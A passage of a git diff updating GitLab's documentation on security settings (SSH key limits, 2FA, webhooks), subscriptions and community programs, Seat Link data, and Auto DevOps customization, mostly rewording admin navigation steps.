100644 --- a/doc/security/ssh_keys_restrictions.md +++ b/doc/security/ssh_keys_restrictions.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w `ssh-keygen` allows users to create RSA keys with as few as 768 bits, which falls well below recommendations from certain standards groups (such as the US -NIST). Some organizations deploying GitLab will need to enforce minimum key +NIST). Some organizations deploying GitLab need to enforce minimum key strength, either to satisfy internal security policy or for regulatory compliance. @@ -18,14 +18,17 @@ the older DSA, and administrators may need to limit the allowed SSH key algorithms. GitLab allows you to restrict the allowed SSH key technology as well as specify -the minimum key length for each technology. +the minimum key length for each technology: -In **Admin Area > Settings** (`/admin/application_settings/general`), expand the -**Visibility and access controls** section: +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`). +1. Expand the **Visibility and access controls** section: - +  -If a restriction is imposed on any key type, users cannot upload new SSH keys that don't meet the requirement. Any existing keys that don't meet it are disabled but not removed and users cannot to pull or push code using them. +If a restriction is imposed on any key type, users cannot upload new SSH keys that don't meet the +requirement. Any existing keys that don't meet it are disabled but not removed and users cannot to +pull or push code using them. An icon is visible to the user of a restricted key in the SSH keys section of their profile: diff --git a/doc/security/two_factor_authentication.md b/doc/security/two_factor_authentication.md index f2728f95b96..a009fa9964d 100644 --- a/doc/security/two_factor_authentication.md +++ b/doc/security/two_factor_authentication.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Two-factor Authentication (2FA) provides an additional level of security to your users' GitLab account. After being enabled, in addition to supplying their -username and password to sign in, they'll be prompted for a code generated by an +username and password to sign in, they are prompted for a code generated by an application on their phone. You can read more about it here: @@ -24,12 +24,12 @@ want to enforce everyone to set up 2FA, you can choose from two different ways: - Suggest on next login, but allow a grace period before enforcing. After the configured grace period has elapsed, users can sign in but -cannot leave the 2FA configuration area at `/profile/two_factor_auth`. +cannot leave the 2FA configuration area at `/-/profile/two_factor_auth`. To enable 2FA for all users: -1. Navigate to **Admin Area > Settings > General** - (`/admin/application_settings/general`). +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`). 1. Expand the **Sign-in restrictions** section, where you can configure both. If you want 2FA enforcement to take effect during the next sign-in attempt, @@ -39,13 +39,13 @@ change the grace period to `0`. > [Introduced in](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24965) GitLab 12.0, 2FA settings for a group are also applied to subgroups. -If you want to enforce 2FA only for certain groups, you can: +If you want to enforce 2FA only for certain groups: -1. Enable it in the group's **Settings > General** page. Navigate to - **Permissions, LFS, 2FA > Two-factor authentication**. You can then select - the **Require all users in this group to setup Two-factor authentication** - option. -1. You can also specify a grace period in the **Time before enforced** option. +1. Go to the group's **Settings > General** page. +1. Expand the **Permissions, LFS, 2FA** section. +1. Select the **Require all users in this group to setup two-factor authentication** option. + +You can also specify a grace period in the **Time before enforced** option. To change this setting, you need to be administrator or owner of the group. @@ -67,8 +67,12 @@ The following are important notes about 2FA: 2FA enabled, 2FA is **not** required for those individually added members. - If there are multiple 2FA requirements (for example, group + all users, or multiple groups) the shortest grace period is used. -- It is possible to disallow subgroups from setting up their own 2FA requirements. - Navigate to the top-level group's **Settings > General > Permissions, LFS, 2FA > Two-factor authentication** and uncheck the **Allow subgroups to set up their own two-factor authentication rule** field. This action causes all subgroups with 2FA requirements to stop requiring that from their members. +- It is possible to disallow subgroups from setting up their own 2FA requirements: + 1. Go to the top-level group's **Settings > General**. + 1. Expand the **Permissions, LFS, 2FA** section. + 1. Uncheck the **Allow subgroups to set up their own two-factor authentication rule** field. + + This action causes all subgroups with 2FA requirements to stop requiring that from their members. ## Disabling 2FA for everyone @@ -77,11 +81,6 @@ Disabling 2FA for everyone does not disable the [enforce 2FA for all users](#enf or [enforce 2FA for all users in a group](#enforcing-2fa-for-all-users-in-a-group) settings. In addition to the steps in this section, you must disable any enforced 2FA settings so users aren't asked to set up 2FA again, the next time the user signs in to GitLab. -Disabling 2FA for everyone does not disable the [enforce 2FA for all users](#enforcing-2fa-for-all-users) -or [enforce 2FA for all users in a group](#enforcing-2fa-for-all-users-in-a-group) -settings if they have been configured. In addition to the steps in this section, -you must disable any enforced 2FA settings so users aren't asked to setup -2FA again when the next login to GitLab. There may be some special situations where you want to disable 2FA for everyone even when forced 2FA is disabled. There is a Rake task for that: @@ -98,18 +97,6 @@ WARNING: This is a permanent and irreversible action. Users have to reactivate 2FA from scratch if they want to use it again. -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> - ## Two-factor Authentication (2FA) for Git over SSH operations **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270554) in GitLab 13.7. @@ -162,3 +149,15 @@ The feature flag affects these features: - [Two-factor Authentication (2FA) for Git over SSH operations](#two-factor-authentication-2fa-for-git-over-ssh-operations). - [Customize session duration for Git Operations when 2FA is enabled](../user/admin_area/settings/account_and_limit_settings.md#customize-session-duration-for-git-operations-when-2fa-is-enabled). + +<!-- ## Troubleshooting + +Include any troubleshooting steps that you can foresee. If you know beforehand what issues +one might have when setting this up, or when something is changed, or on upgrading, it's +important to describe those, too. Think of things that may go wrong and include them here. +This is important to minimize requests for support, and to avoid doc comments with +questions that you know someone might ask. + +Each scenario can be a third-level heading, e.g. `### Getting error message X`. +If you have none to add when creating a doc, leave this section in place +but commented out to help encourage others to add to it in the future. --> diff --git a/doc/security/unlock_user.md b/doc/security/unlock_user.md index 45da283f33e..da451d96ef9 100644 --- a/doc/security/unlock_user.md +++ b/doc/security/unlock_user.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# How to unlock a locked user from the command line +# How to unlock a locked user from the command line **(FREE SELF)** After ten failed login attempts a user gets in a locked state. diff --git a/doc/security/user_email_confirmation.md b/doc/security/user_email_confirmation.md index cf7cb0ea4cb..1b39937acbe 100644 --- a/doc/security/user_email_confirmation.md +++ b/doc/security/user_email_confirmation.md @@ -11,8 +11,14 @@ GitLab can be configured to require confirmation of a user's email address when the user signs up. When this setting is enabled, the user is unable to sign in until they confirm their email address. -In **Admin Area > Settings** (`/admin/application_settings/general`), go to the section -**Sign-up Restrictions** and look for the **Send confirmation email on sign-up** option. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`). +1. Expand the **Sign-up restrictions** section and look for the **Send confirmation email on sign-up** option. + +## Confirmation token expiry + +By default, a user can confirm their account within 24 hours after the confirmation email was sent. +After 24 hours, the confirmation token becomes invalid. <!-- ## Troubleshooting diff --git a/doc/security/webhooks.md b/doc/security/webhooks.md index bed998a5c84..b0535d0bcaf 100644 --- a/doc/security/webhooks.md +++ b/doc/security/webhooks.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, reference, howto --- -# Webhooks and insecure internal web services +# Webhooks and insecure internal web services **(FREE SELF)** NOTE: On GitLab.com, the [maximum number of webhooks and their size](../user/gitlab_com/index.md#webhooks) per project, and per group, is limited. @@ -44,11 +44,13 @@ private network are forbidden by default. That means that all requests made to `127.0.0.1`, `::1` and `0.0.0.0`, as well as IPv4 `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` and IPv6 site-local (`ffc0::/10`) addresses aren't allowed. -This behavior can be overridden by enabling the option *"Allow requests to the -local network from web hooks and services"* in the *"Outbound requests"* section -inside the **Admin Area > Settings** (`/admin/application_settings/network`): +This behavior can be overridden: - +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Network**. +1. Expand the **Outbound requests** section: +  +1. Select **Allow requests to the local network from web hooks and services**. NOTE: *System hooks* are enabled to make requests to local network by default since they are @@ -61,10 +63,13 @@ set up by administrators. However, you can turn this off by disabling the You can allow certain domains and IP addresses to be accessible to both *system hooks* and *webhooks* even when local requests are not allowed by adding them to the -allowlist. Navigate to **Admin Area > Settings > Network** (`/admin/application_settings/network`) -and expand **Outbound requests**: +allowlist: - +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Network** (`/admin/application_settings/network`) + and expand **Outbound requests**: + +  The allowed entries can be separated by semicolons, commas or whitespaces (including newlines) and be in different formats like hostnames, IP addresses and/or diff --git a/doc/subscriptions/bronze_starter.md b/doc/subscriptions/bronze_starter.md index a2cca23e5f1..66ab61e48b8 100644 --- a/doc/subscriptions/bronze_starter.md +++ b/doc/subscriptions/bronze_starter.md @@ -10,7 +10,9 @@ Although GitLab has discontinued selling the Bronze and Starter tiers, GitLab continues to honor the entitlements of existing Bronze and Starter tier GitLab customers for the duration of their contracts at that level. -These features remain available to Bronze and Starter customers, even though +New paid features will not be released in Bronze and Starter tiers after GitLab 13.9. + +The following features remain available to Bronze and Starter customers, even though the tiers are no longer mentioned in GitLab documentation: - [Activate GitLab EE with a license](../user/admin_area/license.md) @@ -66,7 +68,7 @@ the tiers are no longer mentioned in GitLab documentation: - [Full code quality reports in the code quality tab](../user/project/merge_requests/code_quality.md#code-quality-reports) - [Merge request approvals](../user/project/merge_requests/approvals/index.md) - [Multiple assignees](../user/project/merge_requests/getting_started.md#multiple-assignees) - - [Approval Rule information for Reviewers](../user/project/merge_requests/getting_started.md#approval-rule-information-for-reviewers) **(PREMIUM)** + - [Approval Rule information for Reviewers](../user/project/merge_requests/reviews/index.md#approval-rule-information-for-reviewers) **(PREMIUM)** - [Required Approvals](../user/project/merge_requests/approvals/index.md#required-approvals) - [Code Owners as eligible approvers](../user/project/merge_requests/approvals/rules.md#code-owners-as-eligible-approvers) - [Approval rules](../user/project/merge_requests/approvals/rules.md) features diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md index f35f146f8b9..552f0e28d95 100644 --- a/doc/subscriptions/gitlab_com/index.md +++ b/doc/subscriptions/gitlab_com/index.md @@ -291,7 +291,7 @@ Quotas apply to: 1. In the top-right corner, select your avatar. 1. Select **Edit profile**. - 1. In the left sidebar, select **[Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**. + 1. In the left sidebar, select **[Usage Quotas](https://gitlab.com/-/profile/usage_quotas#pipelines-quota-tab)**. Only pipeline minutes for GitLab shared runners are restricted. If you have a specific runner set up for your projects, there is no limit to your build time on GitLab SaaS. diff --git a/doc/subscriptions/img/license-file.png b/doc/subscriptions/img/license-file.png Binary files differnew file mode 100644 index 00000000000..6516b6b4476 --- /dev/null +++ b/doc/subscriptions/img/license-file.png diff --git a/doc/subscriptions/img/license-overview.png b/doc/subscriptions/img/license-overview.png Binary files differnew file mode 100644 index 00000000000..d008366fb65 --- /dev/null +++ b/doc/subscriptions/img/license-overview.png diff --git a/doc/subscriptions/img/publicly-visible.png b/doc/subscriptions/img/publicly-visible.png Binary files differnew file mode 100644 index 00000000000..91e8780e18d --- /dev/null +++ b/doc/subscriptions/img/publicly-visible.png diff --git a/doc/subscriptions/img/support-diagram.png b/doc/subscriptions/img/support-diagram.png Binary files differnew file mode 100644 index 00000000000..1628a62f19a --- /dev/null +++ b/doc/subscriptions/img/support-diagram.png diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md index aff392f61ff..62681d9a657 100644 --- a/doc/subscriptions/index.md +++ b/doc/subscriptions/index.md @@ -12,8 +12,8 @@ have access to. Subscriptions are valid for 12 months. GitLab provides special subscriptions to participants in: -- [Education](#gitlab-for-education-subscriptions) -- [Open Source](#gitlab-for-open-source-subscriptions) +- [Education](#gitlab-for-education) +- [Open Source](#gitlab-for-open-source) ## Choose a GitLab subscription @@ -68,7 +68,7 @@ click D "./gitlab_com/index.html#view-your-gitlabcom-subscription" click E "./self_managed/index.html#view-your-subscription" ``` -## Customers portal +## Customers Portal With the [Customers Portal](https://customers.gitlab.com/) you can: @@ -154,6 +154,8 @@ To change the namespace linked to a subscription: Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, your account is charged for the additional users. +Only one namespace can be linked to a subscription. + ### Change Customers Portal account password To change the password for this customers portal account: @@ -163,20 +165,102 @@ To change the password for this customers portal account: 1. Make the required changes to the **Your password** section. 1. Click **Save changes**. -## GitLab for Education subscriptions +## Community program subscriptions + +### GitLab for Education + +For qualifying non-profit educational institutions, the [GitLab for Education](https://about.gitlab.com/solutions/education/) program provides +the top GitLab tier, plus 50,000 CI minutes per month. -The GitLab Education license can only be used for instructional-use or +The GitLab for Education license can only be used for instructional-use or non-commercial academic research. -Find more information how to apply and renew at +Find more information on how to apply and renew at [GitLab for Education](https://about.gitlab.com/solutions/education/). -## GitLab for Open Source subscriptions +### GitLab for Open Source + +For qualifying open source projects, the [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/) program provides +the top GitLab tier, plus 50,000 CI minutes per month. + +You can find more information about the [program requirements](https://about.gitlab.com/solutions/open-source/join/#requirements), +[renewals](https://about.gitlab.com/solutions/open-source/join/$renewals), +and benefits on the [GitLab for Open Source application page](https://about.gitlab.com/solutions/open-source/join/). -All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/) -requests, including subscription renewals, must be made by using the application process. If you have any questions, send an email to `opensource@gitlab.com` for assistance. +#### Verification for Open Source program + +As part of the [application verification process](https://about.gitlab.com/solutions/open-source/join/), you must upload <b>three screenshots</b>. +These are the three screenshots that are needed to qualify you for the GitLab for Open Source program. + +- [OSI-approved license overview](#screenshot-1-license-overview) +- [OSI-approved license file](#screenshot-2-license-file) +- [Publicly visible settings](#screenshot-3-publicly-visible-settings) + +##### OSI-approved license + +You must apply an [OSI-approved license](https://opensource.org/licenses/) to each project in your group before you can be verified. + +Add the license to the LICENSE file so that it shows up in the overview section of the project. This allows contributors to see it at a glance. + +It's best to copy and paste the entire license into the file in its original form. GitLab defaults to **All rights reserved** if no license file is mentioned. +You must ensure that you add the correct license to each project within your group. + +After you ensure that you are using OSI-approved licenses for your projects, you can take your screenshots. + +###### Screenshot 1: License overview + +On the left sidebar, select **Project Information > Details**. Take a screenshot that includes a view of the license you've chosen for your project. + + + +###### Screenshot 2: License file + +Navigate to one of the license files that you uploaded. You can usually find the license file by selecting **Project Information > Details** and scanning the page for the license. +Make sure the screenshot includes the title of the license. + + + +##### Screenshot 3: Publicly visible settings + +The goal of the GitLab for Open Source program is to enable collaboration on open source projects. +As a pre-condition to collaboration, people must be able to view the open source project. +As a result, we ask that all projects under this license are publicly visible. + +Follow these instructions to take a screenshot of the publicly visible settings: + + 1. Go to your project and select **Settings**. + 1. Expand **Visibility, project features, permissions**. + 1. Set **Project Visibility** to **Public**. + 1. Ensure others can request access by selecting the **Users can request access** checkbox. + 1. Take the screenshot. Include as much of the publicly visible settings as possible. Make sure to include your project's name in the + upper-left of the screenshot. + + + +NOTE: +From time to time, GitLab allows exceptions. One or two projects within a group can be private if there is a legitimate need for it, for example, +if a project holds sensitive data. Email `opensource@gitlab.com` with details of your use case to request written permission for exceptions. + +### GitLab for Startups + +For qualifying startups, the [GitLab for Startups](https://about.gitlab.com/solutions/startups/) program provides +the top GitLab tier, plus 50,000 CI minutes per month for 12 months. + +For more information, including program requirements, see the [Startup program's landing page](https://about.gitlab.com/solutions/startups/). + +Send all questions and requests related to the GitLab for Startups program to `startups@gitlab.com`. + +### Support for Community Programs + +Because these Community Programs are free of cost, regular Priority Support is not included. However, it can be purchased at a 95% discount in some cases. +If interested, email the relevant community program team: `education@gitlab.com`, `opensource@gitlab.com`, or `startups@gitlab.com`. + +As a community member, you can follow this diagram to find support: + + + ## Contact Support Learn more about: diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md index 648ad0c70a5..c4484ea609f 100644 --- a/doc/subscriptions/self_managed/index.md +++ b/doc/subscriptions/self_managed/index.md @@ -91,8 +91,8 @@ instance, ensure you're purchasing enough seats to If you are an administrator, you can view the status of your subscription: -1. Go to **Admin Area**. -1. From the left-hand menu, select **License**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **License**. The **License** page includes the following details: @@ -188,7 +188,7 @@ We recommend following these steps during renewal: 1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription. NOTE: - If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal. + If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via [the sales contact form](https://about.gitlab.com/sales/) for assistance as this can't be done in the Customers Portal. 1. In the first box, enter the total number of user licenses you'll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal. 1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term. @@ -209,9 +209,14 @@ Seat Link daily sends a count of all users in connected GitLab self-managed inst Seat Link provides **only** the following information to GitLab: - Date +- Timestamp - License key - Historical maximum user count - Billable users count +- GitLab version +- Hostname +- Instance ID +- MD5 hash of license For offline or closed network customers, the existing [true-up model](#users-over-license) is used. Prorated charges are not possible without user count data. @@ -220,6 +225,8 @@ For offline or closed network customers, the existing [true-up model](#users-ove <pre><code> { + gitlab_version: '13.12.0', + timestamp: '2020-01-29T18:25:57+00:00', date: '2020-01-29', license_key: 'ZXlKa1lYUmhJam9pWm5WNmVsTjVZekZ2YTJoV2NucDBh RXRxTTA5amQxcG1VMVZqDQpXR3RwZEc5SGIyMVhibmxuZDJ0NWFrNXJTVzVH @@ -255,8 +262,9 @@ TjJ4eVlVUkdkWEJtDQpkSHByYWpreVJrcG9UVlo0Y0hKSU9URndiV2RzVFdO VlhHNXRhVmszTkV0SVEzcEpNMWRyZEVoRU4ydHINCmRIRnFRVTlCVUVVM1pV SlRORE4xUjFaYVJGb3JlWGM5UFZ4dUlpd2lhWFlpt2lKV00yRnNVbk5RTjJk Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=', - max_historical_user_count: 10, - active_users: 6 + hostname: 'gitlab.example.com', + instance_id: 'c1ac02cb-cb3f-4120-b7fe-961bbfa3abb7', + license_md5: '7cd897fffb3517dddf01b79a0889b515' } </code></pre> @@ -264,8 +272,9 @@ Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=', You can view the exact JSON payload in the administration panel. To view the payload: -1. Navigate to **Admin Area > Settings > Metrics and profiling** and expand **Seat Link**. -1. Click **Preview payload**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling** and expand **Seat Link**. +1. Select **Preview payload**. #### Disable Seat Link @@ -273,7 +282,12 @@ You can view the exact JSON payload in the administration panel. To view the pay Seat Link is enabled by default. -To disable this feature, go to **Admin Area > Settings > Metrics and profiling**, uncheck the **Enable Seat Link** checkbox > **Save changes**. +To disable this feature: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling** and expand **Seat Link**. +1. Clear the **Enable Seat Link** checkbox. +1. Select **Save changes**. To disable Seat Link in an Omnibus GitLab installation, and prevent it from being configured in the future through the administration panel, set the following in diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md index ea588fb32a5..7fabe099f38 100644 --- a/doc/system_hooks/system_hooks.md +++ b/doc/system_hooks/system_hooks.md @@ -52,7 +52,7 @@ for Push and Tag events, but we never display commits. To create a system hook: -1. In the top navigation bar, go to **{admin}** **Admin Area**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. 1. In the left sidebar, select **System Hooks**. 1. Provide the **URL** and **Secret Token**. 1. Select the check box next to each **Trigger** you want to enable. diff --git a/doc/tools/email.md b/doc/tools/email.md index 4dbb819c85b..8ba275903da 100644 --- a/doc/tools/email.md +++ b/doc/tools/email.md @@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto, reference --- -# Email from GitLab **(STARTER ONLY)** +# Email from GitLab **(PREMIUM SELF)** -GitLab provides a simple tool to administrators for emailing all users, or users of +GitLab provides a tool to administrators for emailing all users, or users of a chosen group or project, right from the Admin Area. Users receive the email at their primary email address. @@ -22,8 +22,9 @@ For information about email notifications originating from GitLab, read ## Sending emails to users from within GitLab -1. Navigate to the **Admin Area > Overview > Users** and press the - **Send email to users** button. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Users**. +1. Select **Send email to users**.  diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md index 25640671e78..4181e32fcf2 100644 --- a/doc/topics/authentication/index.md +++ b/doc/topics/authentication/index.md @@ -4,7 +4,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Authentication +# Authentication **(FREE)** This page gathers all the resources for the topic **Authentication** within GitLab. @@ -33,15 +33,15 @@ This page gathers all the resources for the topic **Authentication** within GitL - [Atlassian Crowd OmniAuth Provider](../../administration/auth/crowd.md) - [CAS OmniAuth Provider](../../integration/cas.md) - [SAML OmniAuth Provider](../../integration/saml.md) - - [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)** - - [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md) **(PREMIUM SAAS)** - - [Kerberos integration (GitLab EE)](../../integration/kerberos.md) **(STARTER)** + - [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md) + - [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md) + - [Kerberos integration (GitLab EE)](../../integration/kerberos.md) ## API - [OAuth 2 Tokens](../../api/README.md#oauth2-tokens) - [Personal access tokens](../../api/README.md#personalproject-access-tokens) -- [Project access tokens](../../api/README.md#personalproject-access-tokens) **(FREE SELF)** +- [Project access tokens](../../api/README.md#personalproject-access-tokens) - [Impersonation tokens](../../api/README.md#impersonation-tokens) - [GitLab as an OAuth2 provider](../../api/oauth2.md#gitlab-as-an-oauth2-provider) @@ -53,4 +53,4 @@ This page gathers all the resources for the topic **Authentication** within GitL - [Jenkins GitLab OAuth Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+OAuth+Plugin) - [OKD - Configuring Authentication and User Agent](https://docs.okd.io/3.11/install_config/configuring_authentication.html#GitLab) -<!-- vale gitlab.Spelling = YES -->
\ No newline at end of file +<!-- vale gitlab.Spelling = YES --> diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index a1a12ccd451..42c54961c1d 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -16,15 +16,25 @@ staging and canary deployments, ## Custom buildpacks -If the automatic buildpack detection fails for your project, or if you want to -use a custom buildpack, you can override the buildpack using a project CI/CD variable -or a `.buildpacks` file in your project: +If the automatic buildpack detection fails for your project, or if you +need more control over your build, you can customize the buildpacks +used for the build. -- **Project variable** - Create a project variable `BUILDPACK_URL` with the URL - of the buildpack to use. -- **`.buildpacks` file** - Add a file in your project's repository called `.buildpacks`, - and add the URL of the buildpack to use on a line in the file. If you want to - use multiple buildpacks, enter one buildpack per line. +### Custom buildpacks with Cloud Native Buildpacks + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165) in GitLab 12.10. + +Specify either: + +- The CI/CD variable `BUILDPACK_URL` according to [`pack`'s specifications](https://buildpacks.io/docs/app-developer-guide/specific-buildpacks/). +- A [`project.toml` project descriptor](https://buildpacks.io/docs/app-developer-guide/using-project-descriptor/) with the buildpacks you would like to include. + +### Custom buildpacks with Herokuish + +Specify either: + +- The CI/CD variable `BUILDPACK_URL`. +- A `.buildpacks` file at the root of your project, containing one buildpack URL per line. The buildpack URL can point to either a Git repository URL or a tarball URL. For Git repositories, you can point to a specific Git reference (such as @@ -176,7 +186,7 @@ to the desired environment. See [Limit environment scope of CI/CD variables](../ ## Customizing `.gitlab-ci.yml` Auto DevOps is completely customizable because the -[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) +[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) is just an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/README.md) file, and uses only features available to any implementation of `.gitlab-ci.yml`. @@ -191,11 +201,11 @@ include: ``` Add your changes, and your additions are merged with the -[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) +[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) using the behavior described for [`include`](../../ci/yaml/README.md#include). If you need to specifically remove a part of the file, you can also copy and paste the contents of the -[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) +[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) into your project and edit it as needed. ## Customizing the Kubernetes namespace @@ -241,7 +251,7 @@ include: - template: Jobs/Build.gitlab-ci.yml ``` -See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs. +See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs. WARNING: Auto DevOps templates using the [`only`](../../ci/yaml/README.md#only--except) or @@ -255,6 +265,27 @@ base template is migrated to use the `rules` syntax. For users who cannot migrate just yet, you can alternatively pin your templates to the [GitLab 12.10 based templates](https://gitlab.com/gitlab-org/auto-devops-v12-10). +## Use images hosted in a local Docker registry + +You can configure many Auto DevOps jobs to run in an [offline environment](../../user/application_security/offline_deployments/index.md): + +1. Copy the required Auto DevOps Docker images from Docker Hub and `registry.gitlab.com` to their local GitLab container registry. +1. After the images are hosted and available in a local registry, edit `.gitlab-ci.yml` to point to the locally-hosted images. For example: + + ```yaml + include: + - template: Auto-DevOps.gitlab-ci.yml + + variables: + REGISTRY_URL: "registry.gitlab.example" + + build: + image: "$REGISTRY_URL/docker/auto-build-image:v0.6.0" + services: + - name: "$REGISTRY_URL/greg/docker/docker:20.10.6-dind" + command: ['--tls=false', '--host=tcp://0.0.0.0:2375'] + ``` + ## PostgreSQL database support To support applications requiring a database, @@ -326,8 +357,8 @@ applications. | `ADDITIONAL_HOSTS` | Fully qualified domain names specified as a comma-separated list that are added to the Ingress hosts. | | `<ENVIRONMENT>_ADDITIONAL_HOSTS` | For a specific environment, the fully qualified domain names specified as a comma-separated list that are added to the Ingress hosts. This takes precedence over `ADDITIONAL_HOSTS`. | | `AUTO_DEVOPS_ATOMIC_RELEASE` | As of GitLab 13.0, Auto DevOps uses [`--atomic`](https://v2.helm.sh/docs/helm/#options-43) for Helm deployments by default. Set this variable to `false` to disable the use of `--atomic` | -| `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | When set to a non-empty value and no `Dockerfile` is present, Auto Build builds your application using Cloud Native Buildpacks instead of Herokuish. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). | -| `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). | +| `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | Set to `false` to use Herokuish instead of Cloud Native Buildpacks with Auto Build. [More details](stages.md#auto-build-using-cloud-native-buildpacks). | +| `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks). | | `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes doesn't prevent word splitting. [More details](#passing-arguments-to-docker-build). | | `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI/CD variable names](#forward-cicd-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). | | `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). | @@ -337,8 +368,7 @@ applications. | `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD` | From GitLab 11.11, used to set a password to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME`. | | `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm outputs debug logs. | | `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` | From [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) v1.0.0, if this variable is present, a new major version of chart is forcibly deployed. For more information, see [Ignore warnings and continue deploying](upgrading_auto_deploy_dependencies.md#ignore-warnings-and-continue-deploying). | -| `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` | From GitLab 12.5, used in combination with [ModSecurity feature 